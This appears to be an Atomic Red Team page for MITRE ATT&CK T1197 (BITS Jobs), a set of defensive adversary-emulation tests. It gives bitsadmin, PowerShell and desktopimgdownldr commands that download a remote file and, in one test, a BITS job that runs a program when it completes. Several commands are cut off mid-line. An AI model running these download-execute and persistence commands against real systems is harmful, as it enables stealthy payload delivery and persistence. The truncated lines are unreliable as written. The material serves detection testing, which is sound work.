T1197 - BITS Jobs

Description from ATT&CK

> Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model] (https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.
> The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)
>
> Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution

> may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)
>
> BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol. (Citation: CTU BITS Malware June 2016)

Atomic Tests

- Atomic Test #1 - Bitsadmin Download (cmd)
- Atomic Test #2 - Bitsadmin Download (PowerShell)
- Atomic Test #3 - Persist, Download, & Execute
- Atomic Test #4 - Bits download using desktopimgdownldr.exe (cmd)

Atomic Test #1 - Bitsadmin Download (cmd)

This test simulates an adversary leveraging bitsadmin.exe to download and execute a payload

Supported Platforms: Windows

auto_generated_guid: 3c73d728-75fb-4180-a12f-6712864d7421

Inputs:

Name	Description	Type	Default Value
remote_file	Remote file to download	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
local_file	Local file path to save downloaded file	Path	%temp%\bitsadmin1_flag.ps1

Attack Commands: Run with `command_prompt`!

```
bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file
```

Cleanup Commands:

```
del #{local_file} >nul 2>&1
```

Atomic Test #2 - Bitsadmin Download (PowerShell)

This test simulates an adversary leveraging bitsadmin.exe to download and execute a payload leveraging PowerShell

Upon execution you will find a github markdown file downloaded to the Temp directory

Supported Platforms: Windows

auto_generated_guid: f63b8bc4-07e5-4112-acba-56f646f3f0bc

Inputs:

Name	Description	Type	Default Value
remote_file	Remote file to download	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
local_file	Local file path to save downloaded file	Path	$env:TEMP\bitsadmin2_flag.ps1

Attack Commands: Run with `powershell`!

```
Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{loca
```

Cleanup Commands:

```
Remove-Item #{local_file} -ErrorAction Ignore
```

Atomic Test #3 - Persist, Download, & Execute

This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps. Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable. This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of "svchost.exe" and an Initiating Process Command Line of "svchost.exe -k netsvcs -p -s BITS" This job will remain in the BITS queue until complete or for up to 90 days by default if not removed.

Supported Platforms: Windows

auto_generated_guid: 62a06ec5-5754-47d2-bcfc-123d8314c6ae

Inputs:

Name	Description	Type	Default Value
command_path	Path of command to execute	Path	C:\Windows\system32\notepad.exe
bits_job_name	Name of BITS job	String	AtomicBITS
local_file	Local file path to save downloaded file	Path	%temp%\bitsadmin3_flag.ps1
remote_file	Remote file to download	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md

Attack Commands: Run with `command_prompt`!

```
bitsadmin.exe /create #{bits_job_name}
bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}
bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL
bitsadmin.exe /resume #{bits_job_name}
ping -n 5 127.0.0.1 >nul 2>&1
bitsadmin.exe /complete #{bits_job_name}
```

Cleanup Commands:

```
del #{local_file} >nul 2>&1
```

Atomic Test #4 - Bits download using desktopimgdownldr.exe (cmd)

This test simulates using desktopimgdownldr.exe to download a malicious file instead of a desktop or lockscreen background img. The process that actually makes the TCP connection and creates the file on the disk is a svchost process ("-k netsvc -p -s BITS") and not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/

Supported Platforms: Windows

auto_generated_guid: afb5e09e-e385-4dee-9a94-6ee60979d114

Inputs:

Name	Description	Type	Default Value
remote_file	Remote file to download	Url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
download_path	Local file path to save downloaded file	Path	SYSTEMROOT=C:\Windows\Temp

cleanup_path	path to delete file as part of cleanup_command	Path	C:\Windows\Temp\Personalization\LockScreenIma
cleanup_file	file to remove as part of cleanup_command	String	*.md

Attack Commands: Run with `command_prompt`!

```
set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_fil
```

Cleanup Commands:

```
del #{cleanup_path}\#{cleanup_file} >nul 2>&1
```